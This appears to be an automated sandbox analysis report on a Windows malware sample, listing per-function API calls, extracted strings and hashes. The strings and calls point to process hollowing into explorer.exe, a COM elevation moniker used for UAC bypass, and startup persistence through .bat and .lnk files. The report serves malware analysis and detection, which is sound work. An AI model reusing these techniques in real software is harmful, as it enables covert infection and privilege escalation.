API ID: __snwprintf_memset$CreateErrorLastPath$DirectoryFileFolderFreeKnownTaskTemplstrcpy
String ID: "%s"$"%s" "%s"$%s\%s$%s\%s$D$Open
API String ID: 37154465-2887319354
Opcode ID: 425fdbf0b3fec38a4c9d540afd6f4a2170c690316f4ea378758d8c1d584b3965
Instruction ID: daba21f2d26f78e7af8c40acc4887077b6759b9783b1666b646249f9cbf4e768
Opcode Fuzzy Hash: 425fdbf0b3fec38a4c9d540afd6f4a2170c690316f4ea378758d8c1d584b3965
Instruction Fuzzy Hash: 3BA1C6B1A10318ABDB24DB64DC49FE97779BF98704F008599F60DA61C1EB709B84CFA1

Function 009322D0 Relevance: 59.7, APIs: 26, Strings: 8, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00936AFB), ref: 009322DD
SHGetKnownFolderPath.SHELL32(00957BF0,00000000,00000000,?), ref: 009322FD
__snwprintf.LIBCMT ref: 00932322

Part of subcall function 0092FE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 0092FE74
Part of subcall function 0092FE20: LocalAlloc.KERNEL32(00000040,?), ref: 0092FEB2
Part of subcall function 0092FE20: __snwprintf.LIBCMT ref: 0092FEDA
Part of subcall function 0092FE20: CoTaskMemFree.COMBASE(?), ref: 0092FEF5

LocalAlloc.KERNEL32(00000040,00000BB8), ref: 0093234F
__snprintf.LIBCMT ref: 0093237E
SHGetKnownFolderPath.SHELL32(00957C00,00000000,00000000,?), ref: 00932396
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 009323AB
__snwprintf.LIBCMT ref: 009323D5
GetLastError.KERNEL32 ref: 009323F2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0093240A
__snwprintf.LIBCMT ref: 00932439
CloseHandle.KERNEL32(000000FF), ref: 00932499
LocalFree.KERNEL32(00000000), ref: 009324C3
CoTaskMemFree.COMBASE(?), ref: 009324CD
CoTaskMemFree.COMBASE(?), ref: 009324D7
LocalFree.KERNEL32(00000000), ref: 009324E1
LocalFree.KERNEL32(00000000), ref: 009324EB
LocalFree.KERNEL32(00000000), ref: 009324F5
CloseHandle.KERNEL32(000000FF), ref: 0093250C
LocalFree.KERNEL32(00000000), ref: 00932516
LocalFree.KERNEL32(00000000), ref: 00932520
CoTaskMemFree.COMBASE(?), ref: 0093252A
LocalFree.KERNEL32(00000000), ref: 00932534
LocalFree.KERNEL32(00000000), ref: 0093253E
CoTaskMemFree.COMBASE(?), ref: 00932548
LocalFree.KERNEL32(00000000), ref: 00932552

Strings

@echo offcmd /c start "" "%S%S" %S, xrefs: 00932370
%s\%s.lnk, xrefs: 00932314
{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}, xrefs: 0093241D
%s\%s, xrefs: 009323C7
{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}, xrefs: 0093230B
{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}, xrefs: 009323BE, 00932422
%s\%s\%s.bat, xrefs: 0093242B
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 00932362

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask$__snwprintf$FolderKnownPath$CloseHandle$ErrorLast__snprintf
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.bat$@echo offcmd /c start "" "%S%S" %S${01CD18C6-8DB4-4D19-901B-142FFEF41E7A}${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}${A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}${CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}
API String ID: 1748825352-40961267
Opcode ID: 37884d6ab833cf4e5a799c8ca6ceadd909cdbba371b672027b41f6aa14968921
Instruction ID: 1f9043a416988649135ab48b1ac8a79aaf570e3aa8a77fb1238deac5e7ece83b
Opcode Fuzzy Hash: 37884d6ab833cf4e5a799c8ca6ceadd909cdbba371b672027b41f6aa14968921
Instruction Fuzzy Hash: AE716FB1E54305ABDB14DBE8CC4AFAEBB78AF88715F108519F601B72D0D774AA40DB60

Function 00921C80 Relevance: 56.2, APIs: 17, Strings: 15, Instructions: 219libraryloadermemoryCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,{0277BEDC-839F-4568-B7FD-94E1324E5204}), ref: 00921CA2
_memset.LIBCMT ref: 00921CCC
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00921CE0
_memset.LIBCMT ref: 00921D05
__snwprintf.LIBCMT ref: 00921D2F

Part of subcall function 0092A1B0: GetCurrentProcess.KERNEL32 ref: 0092A1B9
Part of subcall function 0092A1B0: _memset.LIBCMT ref: 0092A1CA
Part of subcall function 0092A1B0: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,00922000), ref: 0092A21B
Part of subcall function 0092A1B0: NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 0092A251
Part of subcall function 0092A1B0: NtMapViewOfSection.NTDLL(00000000,00000000), ref: 0092A290
Part of subcall function 0092A1B0: _memmove.LIBCMT ref: 0092A2AF

__snwprintf.LIBCMT ref: 00921D51
_memset.LIBCMT ref: 00921D70
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 00921D84
LocalAlloc.KERNEL32(00000040,00000DF0), ref: 00921DA3
GetProcAddress.KERNEL32(?,LoadLibraryW), ref: 00921DD9
GetProcAddress.KERNEL32(?,GetProcAddress), ref: 00921DF3
WaitForSingleObject.KERNEL32(00000000,00001388), ref: 00921F78
TerminateProcess.KERNEL32(00000000,00000000), ref: 00921FA9
CloseHandle.KERNEL32(00000000), ref: 00921FB6
CloseHandle.KERNEL32(?), ref: 00921FC3
LocalFree.KERNEL32(00000000), ref: 00921FD9
CloseHandle.KERNEL32(00000000), ref: 00921FE9

Strings

KERNEL32.DLL, xrefs: 00921E02
CoInitialize, xrefs: 00921E90
Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 00921EEC
GetProcAddress, xrefs: 00921DE7
OLE32.DLL, xrefs: 00921E1A
%s\SysWOW64\explorer.exe, xrefs: 00921D1E
{2BFEF461-4650-4377-A284-2C0E2F67E458}, xrefs: 00921E48
{6EDD6D74-C007-4E75-B76A-E5740995E24C}, xrefs: 00921ED7
%s\explorer.exe, xrefs: 00921D40
IIDFromString, xrefs: 00921EA8
CoGetObject, xrefs: 00921E79
KERNEL32.DLL, xrefs: 00921DBC
ExitProcess, xrefs: 00921EC0
LoadLibraryW, xrefs: 00921DCD
{0277BEDC-839F-4568-B7FD-94E1324E5204}, xrefs: 00921C97

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: _memset$CloseCreateHandleProcess$AddressCurrentDirectoryLocalProcSection__snwprintf$AllocEventFreeObjectSingleTerminateViewWaitWindows_memmove
String ID: %s\SysWOW64\explorer.exe$%s\explorer.exe$CoGetObject$CoInitialize$Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}$ExitProcess$GetProcAddress$IIDFromString$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryW$OLE32.DLL${0277BEDC-839F-4568-B7FD-94E1324E5204}${2BFEF461-4650-4377-A284-2C0E2F67E458}${6EDD6D74-C007-4E75-B76A-E5740995E24C}
API String ID: 3368678430-1830388110
Opcode ID: 19ded30070551cc40b1296b04f7167b59d01cd7d07d548f15baa4efe944c5428
Instruction ID: 39bdd71ed856a4a713507ad1d5e5c756e26fab6925af2778b6d01d97f63438fa
Opcode Fuzzy Hash: 19ded30070551cc40b1296b04f7167b59d01cd7d07d548f15baa4efe944c5428
Instruction Fuzzy Hash: CE81B5B0A41228ABDB20EF64CD45FE977B6EFD8704F0044D8F508A7281DBB59A94CF64

Function 00927AC0 Relevance: 47.7, APIs: 25, Strings: 2, Instructions: 403registrymemoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00927B13
_memset.LIBCMT ref: 00927BA4
__snwprintf.LIBCMT ref: 00927BC2
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,00000000,00000000), ref: 00927BEC
LocalAlloc.KERNEL32(00000040,?), ref: 00927C80
RegCloseKey.ADVAPI32(00000000), ref: 00928096
LocalFree.KERNEL32(00000000), ref: 009280AC
LocalFree.KERNEL32(00000000), ref: 009280C2
LocalFree.KERNEL32(00000000), ref: 009280D8
shutdown.WS2_32(?,00000002), ref: 009280F7
closesocket.WS2_32(?), ref: 00928101

Part of subcall function 00940CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00940CED

Part of subcall function 00940950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0094096D

Strings

SOFTWARE\%s, xrefs: 00927BB1
{E6A92BD6-A819-489E-9C8C-330F9E40F59F}, xrefs: 00927BAC

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: Local$Free$InfoLocale___crt$AllocCloseCreate__snwprintf_memsetclosesocketsetsockoptshutdown
String ID: SOFTWARE\%s${E6A92BD6-A819-489E-9C8C-330F9E40F59F}
API String ID: 1227969885-348793614
Opcode ID: 8dffc2ad71622b5131e40039132e3cf0e20dfc98ab914c8d73b31d543f21562a
Instruction ID: 0b090045ad644dd44519ce818e8f06c87c128355f865cb511ef3c482ba8dbbcf
Opcode Fuzzy Hash: 8dffc2ad71622b5131e40039132e3cf0e20dfc98ab914c8d73b31d543f21562a
Instruction Fuzzy Hash: 8C026FB0945228DBEB24CB94DC49FEEB778BB48300F108699E219A72C5DB745E85CF61

Function 00941580 Relevance: 36.5, APIs: 24, Instructions: 475COMMON

Download Yara Rule

APIs

shutdown.WS2_32(00000000,00000002), ref: 00941D0F
closesocket.WS2_32(00000000), ref: 00941D23
shutdown.WS2_32(00000000,00000002), ref: 00941D7D
closesocket.WS2_32(00000000), ref: 00941D8A

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: eb0988d2d98eef45f4140352e83f4dd5a81022f85bd19900383140e19f9b577d
Instruction ID: b744108a8e6b7c22b1bf1e7421907b6a2e8823e4acca306832328cd8b0291fbb
Opcode Fuzzy Hash: eb0988d2d98eef45f4140352e83f4dd5a81022f85bd19900383140e19f9b577d
Instruction Fuzzy Hash: F1223974A043189FEB24DF94ED88FE97379AB89304F104599E649A7280D7B4AEC4CF61

Function 0092E110 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 149memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0092E187
SetEvent.KERNEL32(00000000), ref: 0092E1D8
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092E1E5
wnsprintfW.SHLWAPI ref: 0092E242
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092E252
wnsprintfW.SHLWAPI ref: 0092E284
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0092E2CB
LocalFree.KERNEL32(00000000), ref: 0092E2DE
LocalFree.KERNEL32(00000000), ref: 0092E2EB
LocalFree.KERNEL32(00000000), ref: 0092E2F8
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 0092E30A
SetEvent.KERNEL32(00000000), ref: 0092E31D
CloseHandle.KERNEL32(00000000), ref: 0092E327
shutdown.WS2_32(?,00000002), ref: 0092E333
closesocket.WS2_32(?), ref: 0092E33D

Part of subcall function 0092B6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0092B701
Part of subcall function 0092B6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0092B724
Part of subcall function 0092B6D0: __snwprintf.LIBCMT ref: 0092B74E
Part of subcall function 0092B6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0092B773
Part of subcall function 0092B6D0: GetLastError.KERNEL32 ref: 0092B77C
Part of subcall function 0092B6D0: LocalFree.KERNEL32(00000000), ref: 0092B7FC
Part of subcall function 0092B6D0: LocalFree.KERNEL32(00000000), ref: 0092B806

Strings

D, xrefs: 0092E29E
{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 0092E2FE
"%s" %s, xrefs: 0092E273
{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 0092E267
%s%s, xrefs: 0092E231

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
